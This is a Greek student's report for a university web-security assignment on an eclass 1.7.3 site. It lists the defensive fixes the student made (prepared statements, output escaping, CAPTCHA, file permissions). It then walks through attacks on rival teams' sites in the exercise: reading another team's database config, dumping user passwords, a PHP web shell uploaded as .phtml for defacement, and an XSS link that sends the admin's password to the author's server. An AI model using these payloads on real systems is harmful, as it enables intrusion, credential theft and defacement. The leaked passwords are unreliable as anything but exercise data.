ΕΘΝΙΚΟ ΚΑΙ ΚΑΠΟΔΙΣΤΡΙΑΚΟ ΠΑΝΕΠΙΣΤΗΜΙΟ ΑΘΗΝΩΝ
ΣΧΟΛΗ ΘΕΤΙΚΩΝ ΕΠΙΣΤΗΜΩΝ
ΤΜΗΜΑ ΠΛΗΡΟΦΟΡΙΚΗΣ ΚΑΙ ΤΗΛΕΠΙΚΟΙΝΩΝΙΩΝ

ΥΣ13 ΕΑΡΙΝΟ 2014

Project #4

Hacking στο Web

(0 ημέρες καθυστέρησης)

ΛΟΥΓΙΑΚΗΣ ΧΡΗΣΤΟΣ - 1115200600289

ΑΝΑΦΟΡΑ

Η αναφορά αυτή χωρίζεται σε δύο μέρη. Το πρώτο μέρος αφορά τις αλλαγές που έγιναν στον κώδικα για να προστατέψω το site μου και το δεύτερο μέρος τις επιθέσεις που δοκίμασα στα αντίπαλα site. Ακολουθούν πληροφορίες σχετικά με τις ομάδες:

Όνομα ομάδας: wolf

Μέλη: Λουγιάκης Χρήστος

Site: wolf.pspace.co/eclass/

Ονόματα αντιπάλων: drone, qd

1 Προστασία

Αφού έγινε η εγκατάσταση του eclass 1.7.3 σύμφωνα με τις οδηγίες που μας είχατε δώσει, το πρώτο πράγμα που έκανα για την προστασία της σελίδας μου ήταν να θέσω τα δικαιώματα των φακέλων και των αρχείων με τέτοιο τρόπο ώστε να είναι η σελίδα πλήρως λειτουργική αλλά και ασφαλής. Τα δικαιώματα τα έθεσα ως εξής:

wolf@snf-547563:~/public_html$ find . -type d -exec chmod 711 '{}' \;

wolf@snf-547563:~/public_html$ find . -type f -exec chmod 644 '{}' \;

wolf@snf-547563:~/public_html$ chmod 600 eclass/config/config.php

Η πρώτη εντολή θέτει τα δικαιώματα των φακέλων σε 711 έτσι ώστε να μην μπορεί κάποιος να προσπελάσει τα περιεχόμενα των φακέλων αλλά να μπορεί να τρέξει τις σελίδες που περιέχουν κανονικά. Η δεύτερη εντολή για να εμφανίζονται σωστά οι σελίδες δίνει δικαιώματα read και execute σε όλα τα αρχεία. Τέλος η τρίτη εντολή αφαιρεί όλα τα δικαιώματα από όλους εκτός του διαχειριστή γιατί περιέχει ευαίσθητες πληροφορίες, όπως τον κωδικό στην βάση του συστήματος.

Για την εύρεση αδυναμιών στον κώδικα του συστήματος ακολούθησα όλα τα πιθανά σενάρια χρήσης κάποιου χρήστη της πλατφόρμας με δικαιώματα απλού φοιτητή ψάχνοντας για σημεία που θα μπορούσε να εκμεταλλευτεί κάποιος επιτιθέμενος. Για αυτήν την διαδικασία λήφθηκε υπ όψιν ποιά modules είναι ενεργοποιημένα στην

εργασία αυτή. Επίσης για την εύρεση επιθέσεων που θα μπορούσαν να γίνουν εναντίον του drunkadmin ακολουθήθηκε πάλι κάθε διαδρομή όπου αυτός έχει πρόσβαση.

Για την προστασία ενάντια σε sql injection επιθέσεις από user input ή από GET requests, χρησιμοποιήθηκε το αντικείμενο mysqli της php που δίνει την δυνατότητα χρησιμοποίησης prepared statements. Οι εξής εντολές χρησιμοποιήθηκαν στα σημεία που βρέθηκε τέτοιου είδους αδυναμία:

//Προσθήκη μιας συνάρτησης που περιγράφεται παρακάτω

include/stmt_functions.php

//Αρχικοποίηση του αντικειμένου που συνδέεται στη βάση

$mysqli = new mysqli($mysqlServer, $mysqlUser, $mysqlPassword);

$mysqli->select_db($mysqlMainDb);

$mysqli->set_charset("greek");

//Εκτέλεση ενός query με την χρήση statement

$sql="PARAMETER";

$result=mysql_query($sql);

->αντικαταστάθηκε από->

$stmt = $mysqli->prepare("?");

$stmt->bind_param('s', PARAMETER);

$stmt->execute();

//Προσπέλαση αποτελεσμάτων

$myrow = mysql_fetch_array($result)

->αντικαταστάθηκε από->

$myrow = array();

```
stmt_bind_assoc($stmt, $myrow);
$stmt->fetch()

//Κλείσιμο statement και συνδεσης
$stmt->close();
$mysqli->close();
```

Όπου το stmt_functions.php περιείχε την συνάρτηση stmt_bind_assoc:

```
<?php
function stmt_bind_assoc (&$stmt, &$out) {
    $data = mysqli_stmt_result_metadata($stmt);
    $fields = array();
    $out = array();

    $fields[0] = $stmt;
    $count = 1;

    while($field = mysqli_fetch_field($data)) {
        $fields[$count] = &$out[$field->name];
        $count++;
    }
    call_user_func_array("mysqli_stmt_bind_result", $fields);
}
?>
```

Για την αποτροπή XSS επιθέσεων προστέθηκε data-sanitazation και η συνάρτηση της php htmlspecialchars κάθε φορά που γινόταν εκτύπωση δεδομένων που είχε εισάγει χρήστης.

Για προστασία ενάντια σε CSRF επιθέσεις προστέθηκε CAPTCHA στις φόρμες που κρίθηκε απαραίτητο. Η βιβλιοθήκη που χρησιμοποιήθηκε είναι το recaptcha-php-1.11 της Google.

Παρακάτω παραθέτονται οι αδυναμίες, με το όνομα του αρχείου και τους αριθμούς των γραμμών για τα sql injections, που βρίσκονται στον αρχικό κώδικα της εφαρμογής.

Επιθέσεις απλού χρήστη:

- index.php (login page)
    - sql injections: 117.
- modules/auth/newuser_second.php (new user registration)
    - sql injections: 117, 205.
    - Προστέθηκε έλεγχος εισαγωγής χαρακτήρων μη επιτρεπτών (htmlspecialchars) στην εγγραφή φοιτητή στα πεδία της φόρμας για το όνομα και το επίθετο μόνο, και sanitization(μόνο αριθμοί) του αριθμού μητρώου, γιατί μπορούσε να χρησιμοποιηθεί για επίθεση με XSS σε άλλες σελίδες(π.χ. edituser.php).
- modules/auth/formprof.php (new profesor registration)
    - sql injections: 96.
- modules/profile/profile.php (profile data change)
    - sql injections: 48, 132.
    - Έλεγχος στοιχείων όπως στο newuser_second.php παραπάνω.
- modules/auth/courses.php (register to course)
    - sql injections: 172.
- modules/unreguser/unregcours.php (unregister from course)
    - Στη σελίδα απεγγραφής από μάθημα το html request είναι GET και σε αυτό συμπληρώνεται το cid που είναι η βάση του μαθήματος και το user id του χρήστη,αλλά αυτό μπορεί να χρησιμοποιηθεί για να γίνει κάποιο sql

injection ή κάποιο XSS attack. Έτσι έσβησα το user id από το link γιατί δεν χρειαζόταν και για το user id χρησιμοποίησα την εντολή htmlspecialchars στο echo.

    - sql injections: 69.

- modules/work/work.php (course assignment)

    - Στη σελίδα που ανεβάζουν οι μαθητές τις εργασίες τους το html request είναι GET και σε αυτό συμπληρώνεται το id της εκάστοτε εργασίας, αλλά αυτό μπορεί να χρησιμοποιηθεί για να γίνει κάποιο sql injection ή κάποιο XSS attack. Έτσι πρόσθεσα να γίνεται στην αρχή έλεγχος αν το id υπάρχει στη βάση, πάντα προσέχοντας sql injections, και αν δεν υπάρχει redirect στη σελίδα με τις εργασίες.

    - Η επιλογή ανεβάσματος αρχείου επιτρέπει σε κάποιον επιτιθέμενο να ανεβάσει ένα δικό του αρχείο, κάποιο script, και να χρησιμοποιήσει κάποια άλλη αδυναμία, όπως η παραπάνω, για να το τρέξει τοπικά στον server με δικαιώματα admin. Για την προστασία αυτής της αδυναμίας χρειαζόταν πρόσβαση στις ρυθμίσεις του server ή επεξεργασία του .htaccess το οποίο αργήσατε να ενεργοποιήσετε και όταν το είδα είχε τελειώσει η προθεσμία για την προστασία του site.

    - sql injections: 258, 264.

    - Όλα τα άλλα sql queries της σελίδας που είναι ευαίσθητα σε sql injections αντιμετωπίστηκαν με τον έλεγχο στο id που ανέφερα παραπάνω, γιατί αν το id δεν υπήρχε γινόταν ανακατεύθυνση σε άλλη σελίδα.

    - όταν βάζει για περιγραφή ο φοιτητής μια ανεβασμένης εργασίας ένα script, όταν πάει να δει κάποιος τις εργασίες το script τρέχει. Οπότε htmlspecialchars στην παρουσίαση των εργασιών των φοιτητών.

- modules/dropbox/index.php (file exchange)

    - στην περίπτωση display form = true; (υποβολή αρχείου για ανέβασμα), μπορεί να εισαχθεί στο όνομα του αποστολέα και στην περιγραφή του αρχείου, κώδικας javascript, για αυτό προστέθηκε η htmlspecialchars εντολή στην παρουσίασή τους.

- modules/dropbox/dropbox_submit.php (file exchange)

    - Η επιλογή ανεβάσματος αρχείου επιτρέπει σε κάποιον επιτιθέμενο να ανεβάσει ένα δικό του αρχείο, κάποιο script, και να χρησιμοποιήσει κάποια

άλλη αδυναμία, όπως η παραπάνω, για να το τρέξει τοπικά στον server με δικαιώματα admin. Για την προστασία αυτής της αδυναμίας χρειαζόταν πρόσβαση στις ρυθμίσεις του server ή επεξεργασία του .htaccess το οποίο αργήσατε να ενεργοποιήσετε και όταν το είδα είχε τελειώσει η προθεσμία για την προστασία του site.

- modules/dropbox/dropbox_download.php (file exchange download)
    - Στη σελίδα ανταλλαγή αρχείων που κατεβάζουν οι μαθητές αρχεία, το html request είναι GET και σε αυτό συμπληρώνεται το id του εκάστοτε ανεβασμένου αρχείου, αλλά αυτό μπορεί να χρησιμοποιηθεί για να γίνει κάποιο sql injection ή κάποιο XSS attack. Για αυτό προστέθηκε στην αρχή έλεγχος αν το id υπάρχει στη βάση, πάντα προσέχοντας sql injections, και αν δεν υπάρχει, redirect στη σελίδα ανταλλαγής αρχείων.
- modules/dropbox/dropbox_class.inc.php (file exchange class)
    - sql injections: 58, 71, 81.
    - Στη σελίδα ανταλλαγή αρχείων που διαγράφουν οι μαθητές αρχεία, το html request είναι GET και σε αυτό συμπληρώνεται το id του εκάστοτε ανεβασμένου αρχείου, αλλά αυτό μπορεί να χρησιμοποιηθεί για να γίνει κάποιο sql injection ή κάποιο XSS attack.Τελικά δεν χρειάζεται τίποτα αυτή η σελίδα γιατί κάνει ήδη sanitization του input οπότε είναι εντάξει.
- modules/chat/messageList.php (course chat page)
    - Μπορεί να εισαχθεί στο chat κώδικας html, javascript κλπ. και να επηρεάσει όλους τους χρήστες που βλέπουν ή θα δουν το chat(XSS). Για αυτό προστέθηκε htmlspecialchars στην εκτύπωση των περιεχομένων των μηνυμάτων.
- modules/phpbb/viewforum.php (course forum page)
    - Στη σελίδα περιοχής συζητήσεων το html request για την παρουσίαση του επιλεγμένου forum είναι GET και σε αυτό συμπληρώνεται το id του, αλλά αυτό μπορεί να χρησιμοποιηθεί για να γίνει κάποιο sql injection ή κάποιο XSS attack. Για αυτό προστέθηκε στην αρχή έλεγχος αν το id υπάρχει στη βάση, πάντα προσέχοντας sql injections, και αν δεν υπάρχει, εκτύπωση μηνύματος λάθους.
    - sql injections: 30, 141.

- modules/phpbb/viewtopic.php (forum topic page)
    - Στη σελίδα περιοχής συζητήσεων το html request για την παρουσίαση του επιλεγμένου topic είναι GET και σε αυτό συμπληρώνεται το id του, αλλά αυτό μπορεί να χρησιμοποιηθεί για να γίνει κάποιο sql injection ή κάποιο XSS attack. Για αυτό προστέθηκε στην αρχή έλεγχος αν το id υπάρχει στη βάση, πάντα προσέχοντας sql injections, και αν δεν υπάρχει, redirect στη αρχική σελίδα του forum.
    - Μπορεί να έχει εισαχθεί στο σώμα του μηνύματος κώδικας html, javascript κλπ. και να επηρεάσει όλους τους χρήστες που βλέπουν ή θα δουν το μήνυμα(XSS). Για αυτό προστέθηκε htmlspecialchars στην εκτύπωση των περιεχομένων των μηνυμάτων.
    - sql injections: 29, 180, 186.
    - Όλα τα άλλα sql queries της σελίδας που είναι ευαίσθητα σε sql injections αντιμετωπίστηκαν με τον έλεγχο στο id που ανέφερα παραπάνω, γιατί αν το id δεν υπήρχε γινόταν ανακατεύθυνση σε άλλη σελίδα.
- modules/phpbb/newtopic.php (new topic creation page)
    - Στη σελίδα δημιουργίας νέου topic το html request για το id του επιλεγμένου forum είναι GET, αλλά αυτό μπορεί να χρησιμοποιηθεί για να γίνει κάποιο sql injection ή κάποιο XSS attack. Για αυτό προστέθηκε στην αρχή έλεγχος αν το id υπάρχει στη βάση, πάντα προσέχοντας sql injections, και αν δεν υπάρχει, redirect στη αρχική σελίδα του forum.
    - sql injections: 35, 155, 162, 172, 192.
- modules/phpbb/reply.php (reply topic page)
    - Στη σελίδα περιοχής συζητήσεων το html request για την υποβολή απάντησης ενός επιλεγμένου topic είναι GET και σε αυτό συμπληρώνεται το id του, αλλά αυτό μπορεί να χρησιμοποιηθεί για να γίνει κάποιο sql injection ή κάποιο XSS attack. Για αυτό προστέθηκε στην αρχή έλεγχος αν το id υπάρχει στη βάση, πάντα προσέχοντας sql injections, και αν δεν υπάρχει, redirect στη αρχική σελίδα του forum.
    - sql injections: 35, 42, 187.
    - Όλα τα άλλα sql queries της σελίδας που είναι ευαίσθητα σε sql injections αντιμετωπίστηκαν με τον έλεγχο στο id που ανέφερα παραπάνω, γιατί αν το id δεν υπήρχε γινόταν ανακατεύθυνση σε άλλη σελίδα.

Επιθέσεις εναντίον drunkadmin:

- modules/profile/profile.php
    - προσθήκη CAPTCHA στη φόρμα για την αλλαγή στοιχείων για να αποτραπεί μια επίθεση CSRF με σκοπό την αλλαγή του κωδικού χρήστη.
- modules/admin/addadmin.php
    - CSRF επίθεση στη φόρμα ορισμού διαχειριστή με value="username χρήστη" στο input για να κάνει διαχειριστή τον χρήστη με το username που θέλει. Προστέθηκε CAPTCHA για την αποφυγή του παραπάνω.
    - Κίνδυνος για sql injection και διαγραφή όλων με την λειτουργία διαγραφής από τους διαχειριστές με ένα απλό query. Προστέθηκαν prepered statements και έλεγχος id για διαγραφή καθώς και ένα POST REQUEST με μια κρυφή παράμετρο για την επιβεβαίωση διαγραφής.
- modules/admin/unreguser.php
    - Πρόβλημα sql injection λόγω GET requets για id, username και c(cousre). Επίσης διαγραφή χρήστη με XSS με link επίθεση και χρήση του link για εισαγωγή και εκτέλεση javascript μέσω του ονόματος(un), του u ή του c. Προστέθηκε έλεγχος του u αν είναι αριθμός και αν υπάρχει στη βάση, αφαιρέθηκε τελείως το un και προστέθηκε και ένα POST REQUEST με μια κρυφή παράμετρο για την επιβεβαίωση διαγραφής καθώς και CAPTCHA για περισσότερη ασφάλεια. Προστέθηκε επίσης έλεγχος του c αν υπάρχει στη βάση.
- modules/admin/edituser.php
    - Προστέθηκε έλεγχος του u αν είναι αριθμός και αν υπάρχει στη βάση και επίσης προστέθηκαν φίλτρα(htmlspecialchars) στην παρουσίαση κωδικού και e-mail που ήταν τα μόνα πεδία που δεν είχαν φιλτραριστεί από την είσοδο.
- modules/auth/adminnewuser_second.php
    - Κίνδυνος για CSRF σε συνδιασμό με sql injection στη φόρμα εγγραφής, προστέθηκαν ίδιοι έλεγχοι και όπως στην modules/auth/newuser_second.php.

- modules/auth/newprof_second.php
    - Κίνδυνος για CSRF σε συνδιασμό με sql injection στη φόρμα εγγραφής, προστέθηκαν ίδιοι έλεγχοι και όπως στην modules/auth/newuser_second.php
- modules/admin/listcours.php
    - sql injection με χρήση link: 65.
- modules/admin/quotacours.php
    - sql injection με χρήση link: 52, 61.
- modules/admin/delcours.php
    - sql injection με χρήση link, για αυτό προστέθηκε έλεγχος αν υπάρχει η παράμετρος c του GET request στη βάση
    - Προστέθηκε στην εκτύπωση η συνάρτηση htmlspecialchars για την αποφυγεί XSS.
    - Προστέθηκε επίσης CAPTCHA για προστασία μιας CSRF επίθεσης.
- modules/admin/addfaculte.php
    - sql injection με χρήση link(όταν γίνεται delete) ή με χρήση CSRF επίθεσης χρησιμοποιώντας την φόρμα της σελίδας(όταν γίνεται add): 111, 115, 120, 169.
    - Προστέθηκε στην εκτύπωση η συνάρτηση htmlspecialchars για την αποφυγεί XSS.

2 Επιθέσεις

- Επίθεση στην ομάδα drone:

Το πρώτο πράγμα που δοκίμασα ήταν και το πιο απλό, αλλά πολύ αποδοτικό γιατί με μια εντολή μπορείς να πάρεις τον κωδικό της βάσης του site. Εκτέλεσα οπότε την εντολή:

$cat /home/drone/public_html/eclass-1.7.3/config/config.php

και επειδή τα δικαιώματα δεν είχαν οριστεί όπως πρέπει πήρα τα περιεχόμενα του αρχείου. Τα πιο σημαντικά είναι τα εξής:

$mysqlUser="drone";

$mysqlPassword="OQEyMMGZPG0ODAMkQfGeeg==";

$mysqlMainDb="DRONE";

Στη συνέχεια εκτέλεσα την παρακάτω εντολή χρησιμοποιώντας τον κωδικό που βρήκα όταν ζητήθηκε:

$mysql -u drone –p

και αφού συνδέθηκα στη mysql εκτέλεσα τα παρακάτω:

$connect DRONE;

$SELECT * FROM user;

για να πάρω τα στοιχεία όλων των χρηστών στη βάση:

```
+---------+--------------+----------------+------------+-----------+-------------------+--------+-------+------------+---------+------+
| user_id | nom          | prenom         | username   | password  | email             | statut | phone | department | inst_id | am   |
+---------+--------------+----------------+------------+-----------+-------------------+--------+-------+------------+---------+------+
|       1 | Ξ¦OΞ1Ξ¨Ξ¬O       | Ξ£OO
                        Ξ�OΞ·O        | admin      | speedwolf | drone@pspace.co   |      1 | NULL  |       NULL |    NULL | NULL |
|       2 | fokos        | sotos          | sotos      | firefokos |                   |      5 | NULL  |          4 |       0 |      |
|      14 | pigeon       | pigeon         | pigeon     | aaaaaa    |                   |      5 | NULL  |          1 |       0 |      |
|      19 | drunkadmin   | drunkadmin     | drunkadmin | Ib4NfxuR  | csec.di@gmail.com |      5 | NULL  |          1 |    NULL |      |
+---------+--------------+----------------+------------+-----------+-------------------+--------+-------+------------+---------+------+
```

Για το defacement η ευπάθεια που χρησιμοποιήθηκε ήταν ότι κάποιος μπορεί να ανεβάσει μέσω των εργασιών αρχείο, το οποίο αν τελειώνει σε .phtml(όχι php) και περιέχει κώδικα php ο server το τρέχει κανονικά. Τα php αρχεία ο αρχικός κώδικας του eclass τα μετέτρεπε σε txt. Αυτό το παρατήρησα κατά την διάρκεια των επιθέσεων και αν το είχα δει νωρίτερα θα είχα προσθέσει τουλάχιστον να κόβει και τα phtml.

Οπότε ανέβασα ένα αρχείο hack.phtml που δημιούργησα, μέσω της σελίδας με τις εργασίες. Για να βρω το αρχείο πού βρίσκεται πάτησα στον browser τον σύνδεσμο "σελίδα eclass"/courses/"όνομα course"/work, δηλαδή:

http://drone.pspace.co/eclass-1.7.3/courses/DRONEDB100/work/

και επειδή τα δικαιώματα των φακέλου δεν είχαν οριστεί σωστά, εμφάνισε τη λίστα με τα περιεχόμενά του. Εκεί βρήκα το όνομα του φακέλου με το αρχείο μου και μπαίνοντας στον φάκελο, και το αρχείο μου. Έτσι πατώντας πάνω του το εκτέλεσα. Αυτό που το είχα βάλει να κάνει είναι να παίρνει μια εντολή από ένα GET όρισμα με όνομα cmd και να την εκτελεί εμφανίζοντας τα αποτελέσματα αν υπάρχουν. Ο κώδικας του αρχείου hack.phtml που ανέβασα είναι ο εξής:

```
<?php

$output = shell_exec($_GET['cmd']);

echo "<pre>$output</pre>";

?>
```

Οπότε καλώντας το εξής link:

http://drone.pspace.co/eclass-1.7.3/courses/DRONEDB100/work/53d3b696768e4/hacker%20hack.phtml?cmd=chmod%20-R%20777%20/home/drone/*

άλλαξα τα δικαιώματα όλων των αρχείων σε 777. Οπότε μετά μέσω της κονσόλας άνοιξα το αρχείο index.php στον κατάλογο του eclass και του πρόσθεσα τον κώδικα:

```
<iframe width="420" height="315" src="//www.youtube.com/embed/e4Lx5Bmpojw?rel=0" frameborder="0" allowfullscreen></iframe>
```

εμφανίζοντας έτσι ένα video με τον κακό λύκο στην αρχική σελίδα τους!

- Επίθεση στην ομάδα qd:

Η ομάδα αυτή είχα ορίσει σωστά τα δικαιώματα στο config.php αρχείο οπότε η εντολή cat επέστρεφε permission denied.

Οπότε αποφάσισα να δοκιμάσω μία άλλη ευπάθεια του συστήματος που είχα βρει, αυτή που περιγράφεται παραπάνω σχετικά με την σελίδα modules/admin/edituser.php. Έγραψα έναν κώδικα javascript που παίρνει τα δεδομένα που δείχνει η σελίδα εκείνη την ώρα στον πίνακα, δηλαδή τα στοιχεία των χρηστών που εμφανίζονται, και τα στέλνει σε ένα αρχείο php στον server μου με GET, το οποίο με την σειρά του τα αποθηκεύει σε ένα txt αρχείο και τον ανακατευθύνει μετά στην σελίδα μου. Ο κώδικας javascript:

```
<script>
var cells = document.getElementsByTagName("td");
var data;
var found = false;
for (var i=0,len=cells.length; i<len; i++)
{
	if(found)
	{
		data = cells[i].textContent;
		break;
	}
	if(cells[i].textContent.indexOf("Password") > -1)
		found = true;
}
data = data.substr(0, data.indexOf("E-mail"));
window.location.href = "http://wolf.pspace.co/hacking/index.php"+"?data="+data;
</script>
```

το link κωδικοποιημένο:

```
qd.pspace.co/modules/admin/edituser.php?u=1%3Cscript%3E%0Avar%20cells%20%3D%20document.getElementsByTagName(%22td%22)%3B%0Avar%20data%3B%0Avar%20found%20%3D%20false%3B%0Afor%20(var%20i%3D0%2Clen%3Dcells.length%3B%20i%3Clen%3B%20i%2B%2B)%0A%7B%0A%09if(found)%0A%09%7B%0A%09%09data%20%3D%20cells%5Bi%5D.textContent%3B%0A%09%09break%3B%0A%09%7D%0A%09if(cells%5Bi%5D.textContent.indexOf(%22Password%22)%20%3E%20-1)%09%0A%09%09found%20%3D%20true%3B%09%0A%7D%0Adata%20%3D%20data.substr(0%2C%20data.indexOf(%22E-mail%22))%3B%0Awindow.location.href%20%3D%20%22http%3A%2F%2Fwolf.pspace.co%2Fhacking%2Findex.php%22%2B%22%3Fdata%3D%22%2Bdata%3B%0A%3C%2Fscript%3E
```

Ο κώδικας του php αρχείου στον server μου:

```
<?php
$file = 'hack.txt';
$data = $_GET["data"]."\n";
file_put_contents($file, $data, FILE_APPEND | LOCK_EX);
?>
<html>
<script>
window.location.href = "http://wolf.pspace.co/eclass/index.php";
</script>
<body>
</body>
</html>
```

Στέλνοντας το link στον drunkadmin και πατώντας το αυτός πήρα τον κωδικό του administrator, γιατί αν προσέξετε το link έχει u=1 και μετά τον κωδικοποιημένο κώδικα javascript. Ο κωδικός του είναι: wW5YNZ6BvS6eViltRlPMJg==.

Για το defacement έκανα τα ίδια ακριβώς βήματα όπως στη ομάδα drone αλλά με αυτό το link:

http://qd.pspace.co/courses/QDDB101/work/53c9caa83e44f/hacker%20hack.phtml?cmd=chmod%20-R%20777%20/home/qd/*.